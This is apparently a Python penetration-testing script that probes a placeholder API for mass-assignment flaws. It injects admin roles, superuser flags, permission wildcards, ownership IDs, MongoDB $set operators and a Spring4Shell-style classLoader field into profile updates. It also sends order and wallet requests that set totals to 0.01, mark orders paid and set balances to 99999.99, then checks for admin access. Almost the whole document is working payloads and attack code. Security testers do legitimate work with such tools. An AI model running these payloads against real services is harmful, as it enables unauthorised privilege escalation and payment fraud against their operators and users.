Testing API For Mass Assignment Vulnerability

import requests
import json
import copy

BASE_URL = "https://target-api.example.com/api/v1"
user_headers = {"Authorization": "Bearer <user_token>", "Content-Type": "application/json"}

# Identify endpoints that accept write operations
writable_endpoints = [
    {"method": "POST", "path": "/users/register", "expected_fields": ["email", "password", "name"]},
    {"method": "PUT", "path": "/users/me", "expected_fields": ["name", "email", "avatar"]},
    {"method": "PATCH", "path": "/users/me", "expected_fields": ["name", "bio"]},
    {"method": "POST", "path": "/orders", "expected_fields": ["items", "shipping_address"]},
    {"method": "PUT", "path": "/orders/1001", "expected_fields": ["shipping_address"]},
    {"method": "POST", "path": "/products", "expected_fields": ["name", "description", "price"]},
    {"method": "POST", "path": "/comments", "expected_fields": ["body", "post_id"]},
    {"method": "PUT", "path": "/settings", "expected_fields": ["notifications", "language"]},
]

# First, get the current user state as baseline
baseline_user = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Baseline user state: {json.dumps(baseline_user, indent=2)}")

# Fields that should never be user-writable
PRIVILEGE_FIELDS = {
    "role_elevation": {"role": "admin", "user_role": "admin", "userRole": "admin",
                       "account_type": "admin", "accountType": "admin"},
    "admin_flags": {"is_admin": True, "isAdmin": True, "admin": True,
                    "is_superuser": True, "isSuperuser": True, "superuser": True},
    "permission_override": {"permissions": ["*"], "scopes": ["admin:*"],
                           "groups": ["administrators"], "roles": ["admin"]},
    "account_status": {"is_active": True, "isActive": True, "verified": True,
                       "email_verified": True, "is_verified": True, "status": "active"},
    "financial": {"balance": 99999.99, "credit": 99999, "discount": 100,
                  "price": 0.01, "amount": 0.01},
    "ownership": {"user_id": 1, "userId": 1, "owner_id": 1, "ownerId": 1,
                  "created_by": 1, "createdBy": 1},
    "internal": {"internal_notes": "test", "debug": True, "hidden": False,
                 "is_deleted": False, "is_featured": True, "priority": 0},
    "temporal": {"created_at": "2020-01-01", "updated_at": "2020-01-01",
                 "createdAt": "2020-01-01", "updatedAt": "2020-01-01"},
}

def test_mass_assignment(endpoint_info):
    """Test a writable endpoint for mass assignment vulnerabilities."""
    method = endpoint_info["method"]
    path = endpoint_info["path"]
    expected = endpoint_info["expected_fields"]
    findings = []

    # Build a valid base request
    base_body = {}
    for field in expected:
        if field == "email":
            base_body[field] = "test@example.com"
        elif field == "password":
            base_body[field] = "SecurePass123!"
        elif field == "name":
            base_body[field] = "Test User"
        elif field == "items":
            base_body[field] = [{"product_id": 1, "quantity": 1}]
        else:
            base_body[field] = "test_value"

    # Test each category of privileged fields
    for category, fields in PRIVILEGE_FIELDS.items():
        test_body = {**base_body, **fields}
        resp = requests.request(method, f"{BASE_URL}{path}",
                              headers=user_headers, json=test_body)

        if resp.status_code in (200, 201):
            # Verify if the fields were actually set
            resp_data = resp.json()
            for field_name, injected_value in fields.items():
                actual = resp_data.get(field_name)
                if actual is not None and str(actual) == str(injected_value):
                    findings.append({
                        "endpoint": f"{method} {path}",
                        "category": category,
                        "field": field_name,
                        "injected_value": injected_value,
                        "confirmed": True
                    })
                    print(f"[MASS ASSIGNMENT] {method} {path}: {field_name}={injected_value} accepted")

    return findings

all_findings = []
for endpoint in writable_endpoints:
    findings = test_mass_assignment(endpoint)
    all_findings.extend(findings)

print(f"\nTotal mass assignment findings: {len(all_findings)}")

def verify_mass_assignment(field_name, injected_value, verification_endpoint="/users/me"):
    """Verify that the mass-assigned field actually persists in the database."""
    # Re-fetch the object to confirm the field was saved
    resp = requests.get(f"{BASE_URL}{verification_endpoint}", headers=user_headers)
    if resp.status_code == 200:
        current_state = resp.json()
        actual_value = current_state.get(field_name)
        if actual_value is not None:
            match = str(actual_value) == str(injected_value)
            print(f"  Verification: {field_name} = {actual_value} (injected: {injected_value}) -> {'CONFIRMED' if match else 'NOT MATCHED'}")
            return match
    return False

# Test role elevation via profile update
print("\n=== Role Elevation Test ===")
# Step 1: Check current role
me = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Current role: {me.get('role', 'unknown')}")

# Step 2: Attempt to set admin role
update_resp = requests.put(f"{BASE_URL}/users/me",
    headers=user_headers,
    json={"name": me.get("name", "Test"), "role": "admin"})
print(f"Update response: {update_resp.status_code}")

# Step 3: Verify if role changed
me_after = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Role after update: {me_after.get('role', 'unknown')}")
if me_after.get("role") == "admin":
    print("[CRITICAL] Mass assignment: Role elevated to admin")

# Step 4: Test admin access
admin_resp = requests.get(f"{BASE_URL}/admin/users", headers=user_headers)
if admin_resp.status_code == 200:
    print("[CRITICAL] Admin access confirmed after role elevation")

# Ruby on Rails / Active Record style
rails_payloads = [
    {"user": {"name": "Test", "role": "admin", "admin": True}},  # Nested under model name
    {"user[name]": "Test", "user[role]": "admin"},                # Form-style nested
]

# Django REST Framework style
django_payloads = [
    {"username": "test", "is_staff": True, "is_superuser": True},
    {"username": "test", "groups": [1]},  # Add to admin group by ID
]

# Express.js / Mongoose style
express_payloads = [
    {"name": "test", "__v": 0, "_id": "000000000000000000000001"},  # Override MongoDB _id
    {"name": "test", "$set": {"role": "admin"}},                     # MongoDB operator injection
]

# Spring Boot / JPA style
spring_payloads = [
    {"name": "test", "authorities": [{"authority": "ROLE_ADMIN"}]},
    {"name": "test", "class.module.classLoader": ""},  # Spring4Shell style
]

# Test each framework-specific payload
for payload in rails_payloads + django_payloads + express_payloads + spring_payloads:
    resp = requests.put(f"{BASE_URL}/users/me", headers=user_headers, json=payload)
    if resp.status_code in (200, 201):
        print(f"[ACCEPTED] Payload: {json.dumps(payload)[:100]} -> {resp.status_code}")

# Test price/amount manipulation in e-commerce APIs
print("\n=== Financial Mass Assignment Tests ===")

# Test 1: Create order with manipulated price
order_body = {
    "items": [{"product_id": 42, "quantity": 1}],
    "shipping_address": {"street": "123 Test St", "city": "Test City"},
    # Injected fields
    "total": 0.01,
    "subtotal": 0.01,
    "discount_percent": 100,
    "coupon_code": "FREEORDER",
    "shipping_cost": 0,
    "tax": 0,
}

resp = requests.post(f"{BASE_URL}/orders", headers=user_headers, json=order_body)
if resp.status_code in (200, 201):
    order = resp.json()
    print(f"Order created - Total: {order.get('total', 'N/A')}, Discount: {order.get('discount_percent', 'N/A')}")
    if float(order.get("total", 999)) < 1.0:
        print("[CRITICAL] Price manipulation via mass assignment")

# Test 2: Modify order status
resp = requests.patch(f"{BASE_URL}/orders/1001",
    headers=user_headers,
    json={"status": "completed", "payment_status": "paid", "refund_amount": 0})
if resp.status_code == 200:
    print(f"[MASS ASSIGNMENT] Order status/payment fields modified")

# Test 3: User balance manipulation
resp = requests.put(f"{BASE_URL}/users/me/wallet",
    headers=user_headers,
    json={"amount": 10, "balance": 99999.99, "currency": "USD"})
if resp.status_code == 200:
    wallet = resp.json()
    if float(wallet.get("balance", 0)) > 10000:
        print("[CRITICAL] Wallet balance manipulation via mass assignment")